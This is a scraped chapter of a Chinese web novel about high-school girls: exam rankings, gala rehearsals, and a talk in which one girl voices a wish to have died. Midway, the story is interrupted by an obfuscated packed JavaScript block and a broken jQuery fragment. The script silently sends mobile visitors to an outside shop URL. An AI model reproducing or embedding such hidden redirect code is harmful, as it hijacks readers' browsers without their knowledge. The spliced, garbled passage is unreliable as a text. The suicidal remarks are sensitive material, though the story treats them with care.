文趣网 > 都市小说 > 太阳是解药 > 28. 我们
    第二天午休轮到3班体检,江灵跑来石安身边,然后又退出一个拳头的距离,装作不在意地问,“你跟那个谢婷……怎么回事啊?”

    “怎么回事儿?”石安看她,“你的围巾真漂亮。”

    江灵今天戴了一条黄色格子围巾,很衬她。

    江灵蹙起眉头,“别打岔!昨天不跟我吃晚饭,跟她一起出去了?”

    石安不说话,默认了。

    “你让我照顾她可以,带她玩儿也行,”她撇开眼睛去,“你怎么还能陪她的时间超过我呢?”

    石安讷讷地说,“你不是没看到,她烧伤了。”

    “是你害的她?”江灵一针见血地问。

    石安闭嘴了,只能摇头。

    “我看她冷冰冰的,没准根本不接受你的好意,上次我们一起出去玩她就……”

    “别说了。”石安拽拽她衣服。

    江灵重重叹了口气。

    陈嘉妮贼兮兮地过来问她们,“你们近视了吗?待会要测视力了。”

    她俩摇头。

    陈嘉妮不满地“哼”一声,“我早就近视了。”

    江灵问,“那你怎么不戴眼镜?”

    “我怕我爸要骂我,我只能把度数表都背下来了。”她心酸地说。

    江灵又重重叹了一口气。

    石安发现自己好像有点看不清度数表倒数第四行了。她可不想戴眼镜,那样她和石墨临绝对会更像的。

    她只能忐忑不安地认真做着每天两次的眼保健操。

    月考成绩下来了,石安稳居年级第一,已经超过林以轩二十几分。

    她有些不悦地看着名次表,虽然说自己是进步了,但是林以轩显然没认真,成绩稳定得很,估计是搞竞赛,不好齐头并进了。

    她看到江灵的成绩,又满意地点点头,已经进到年级前四十了。视线再下意识地下滑……滑倒一百八十名,终于看到了何煦的名字。拿到第一了么?她也不清楚,毕竟还是第一次看他的成绩。

    头顶传来低低的笑声,石安想抬头去看,结果那人俯身把脸凑到她右边,给她一个侧脸,睫毛长而浓密,眼尾上扬,“在找我么?”

    石安直起身,瞪他一眼,“全班第几?”

    “第二。”他说。

    “哦。”走廊里空气冷冽,石安又搓搓手掌哈了口气。

    “你很冷吗?”何煦敛了笑,“在这找我名字多久了?下次直接来问我不就好了。”

    石安无语,“那你下次再考好一点不就行了?让我一下子就能看到。”

    何煦低下头,“我也想啊……”

    石安还想说什么,上课铃响了,他们只好挥挥手各回各的教室。

    她们班每个月都换次座位,就是每一列都往左平移,防止学生斜视,她现在坐在靠走廊的一排。

    石安发现谢婷端正地坐在座位上看书,今天是她第一天复学。

    她走过去说,“你考的还不错。”

    她刚刚在看何煦排名时也看到了谢婷的,年级第二十八名。

    谢婷点点头,“多亏了你的笔记。”

    石安拉开椅子坐下,谢婷自从那件事过后,话更少了,笑容也荡然无存。

    她心事重重地趴在桌子上,任心思飞向窗外,马上要圣诞节了吧,圣诞过后是元旦,元旦后就是期末考了,高一的第一个学期接近尾声。

    她把脸转了个方向趴,问谢婷,“你的梦想是什么?”

    谢婷一愣,疑惑地看她,“什么?”

    “你的梦想啊。”

    谢婷摸摸脖子,手滑过她的疤痕,说:“想带我妈一起去北京。”

    石安惊讶地睁大眼睛,然后笑起来。

    谢婷看着她滑稽的样子,笑的一半脸颊都被书桌挤着,皱眉道,“你笑什么。”

    “没什么。”石安直起身子翻开作业本,“祝你梦想成真。”

    她果然不能不帮她。石安想,如果不帮助谢婷,那就是在欺负她自己。

    谢婷还满腹疑云地看着她,石安已经开始写作业了,她现在习惯在课上就把作业全部写完。

    李燕走进教室,先宣布了元旦晚会的时间和节目表,希望大家踊跃参与,有要报名表演的去找班长填表格。

    林以轩用笔戳戳石安的背,石安很自然地往后一靠,偏了偏头。

    “元旦晚会,你报个节目吧。”他低声说。

    石安扭过头来,“你说什么?”

    “我说,你报个诗朗诵的节目怎么样?”

    “为什么啊?”她好讨厌在台上一本正经地读诗。

    “你……因为你是年纪第一啊。”林以轩说,“而且你看着很乖巧,老师们绝对喜欢看你上台读诗。”

    石安忍俊不禁,“你觉得我很乖巧。”

    林以轩眯眯眼睛,“只是看起来。”

    石安耸耸肩,“反正我不上。”

    林以轩无奈,只能把自己的名字加上去了。

    *

    “何煦,你报节目吗?”9班教室里,梁心仪拿着报名表来问何煦。

    他刚想狠心拒绝,转念一想,说:“我想报个魔术表演,可以吗?”

    他想到报名表演的同学可以请自己的家长来学校。

    “好啊!”梁心仪心潮澎湃地说,“没想到你还会变魔术,你打算变什么魔术?需要我准备什么道具吗?”

    何煦微笑着摇摇头,“现在说出来就没意思了,我自己会准备道具,不用麻烦你。”然后继续低头做题。

    同桌瞥了他一眼,什么都没说,只是把游戏外放调大了两格。徐子奇那一帮兄弟也不再跟他说话,目光偶尔扫过来,像看一个叛徒。周燃有时会来找他,何煦就默默回绝,闭门造车地学习。

    梁心仪最近因为何煦的穷追不舍而感到慌乱,她有意去接近他探他的口风,但他总是客套地微笑着,讳莫如深。

    她不知道这个突然奋起学习的人有什么目的,只知道自己必须稳住全班第一的位置,这样下学期她就可以升到提高班。必须。

    *

    江灵和陈嘉妮报了舞蹈节目,每天晚自习都是去空教室和其他班的女生一起练舞。

    深冬的傍晚,玻璃窗上凝了一层薄薄的雾。空气是凉的,可跳了没一会儿,大家就挥汗如雨,都脱了校服外套。音乐第三次中断的时候,江灵撑着膝盖弯下腰,大口大口喘气。

    “我们再来一遍吧?”陈嘉妮站在最前面拍拍手,看了江灵一眼。

    江灵点点头以示认可。

    她极享受跳舞,跳舞的时候能忘记一切,整个人沉浸在音乐中,舞蹈中。她没有系统地学过,只是喜欢自己对着电脑看mv扒动作,跳的也很一般。但这是除了考到好成绩以外,唯一能让她感到快乐的事。

    地板被脚步踏出沉闷而有节奏的声响,胸腔里的那颗心也变得沉甸甸的,幸福的重量。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615430|204661||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    石安和谢婷经过她们教室,索性靠着栏杆看了一会儿。

    “你怎么不报名?”谢婷问她,她以为她一直站在这是很想跳舞。

    “不感兴趣。”石安回,她好像知道谢婷在想什么,“我只是在看她。”她朝江灵的方向扬扬下巴。

    “她好漂亮。”谢婷说。即使她身上有不完美的地方,她还是好漂亮。

    “是啊。”石安突然很骄傲。

    “你们是完全不一样的人,怎么会玩到一起的?”谢婷问,江灵可以闪闪发光地站在舞台上跳舞,而她和石安只是坐在台下默默无闻的观众。

    石安转头,意味深长地看她,“我选择在台下坐着是因为我觉得观看别人表演很惬意,而不是因为我不敢上台。既然有两种选择,我当然会选让自己舒服的那一项。”

    谢婷霎时红了脸,把头扭到一边去。她怎么老是能猜到自己在想什么!

    石安抱臂懒懒地靠在栏杆上,能看到自己的好朋友自由自在地舞蹈、进步、突破。看着这棵小树苗淋淋雨、晒晒太阳,看它慢慢成长,看她大放异彩的演出,这对石安而言何尝不是一种幸福呢。

    “石安,那你的梦想又是什么……”谢婷突然怯怯地问。

    她是开始好奇自己了么,石安偏头看她,“我和你一样。”

    “什么?”

    “我同样要离开这里,带上我妈。”她说,“其实……我们是同一类人。”

    谢婷苦笑着摇头,“我知道你是单亲家庭。我不是,其实我最大的梦想就是让我爸妈离婚,他们吵了无数次,就在那次火灾后,我以为我要解脱了,没想到我还是活了下来。”

    她似乎是连说话都觉得累,停了几秒又道,“他们离不了婚,我也死不了,继续麻木地活着。”

    石安心脏钝痛,简直像有一口淤血吐不出来,“不管你要怎么活,前提是要活着啊,活着才能离开,才能去北京。在一中,年级前五名都有考上清北的可能。”

    “我差的多了。”谢婷还是摇头。

    “不多的,现在才高一,我可以帮你啊。不然还有其他的院校呢,不一定要最好的。”石安下意识地说。

    石安是在初中时明白的这个道理,学习是最公平最不看出身的东西。只要你愿意翻开书,无论你起点高低,学习的阶梯都会稳稳地铺在你脚下,只要你肯学。

    谢婷皱着眉扯起一点嘴角,“如果我一定要最好的大学呢?我能像你一样自立一样帮助别人吗?我能像你一样站得那么高吗?你知道这对我这样的家庭情况来说有多难吗?我爸他不会放过我们,我们逃不掉。”

    无声片刻后,“轰”的一声,沉重的真相终于在石安心中落下,她明白自己为什么不顾一切都要帮助她,还有她们。

    同为女性,她不得不注意到她们,只要看见她们的苦难与不幸,就能摸清楚背后的脉络,事情的真相。

    再给石安一万次机会,她仍会帮她们,带江灵逃离困境,给那个面馆老板撑伞,帮谢婷送笔记关照她的病情,赚奖学金好让妈妈不要太辛苦。帮自己,好好学习,好好读书,带自己走出空虚和迷茫,带我们离开这里。这些是她能做的最小的事情,她没有谢婷说的那么厉害,她只是一个孩子,是一个学生,她还能做什么?从未如此憎恨自己的无力。

    石安转身趴在冰凉的栏杆上,将整个校园尽收眼底。

    她突然开口:“能,我们必须要站得更高。”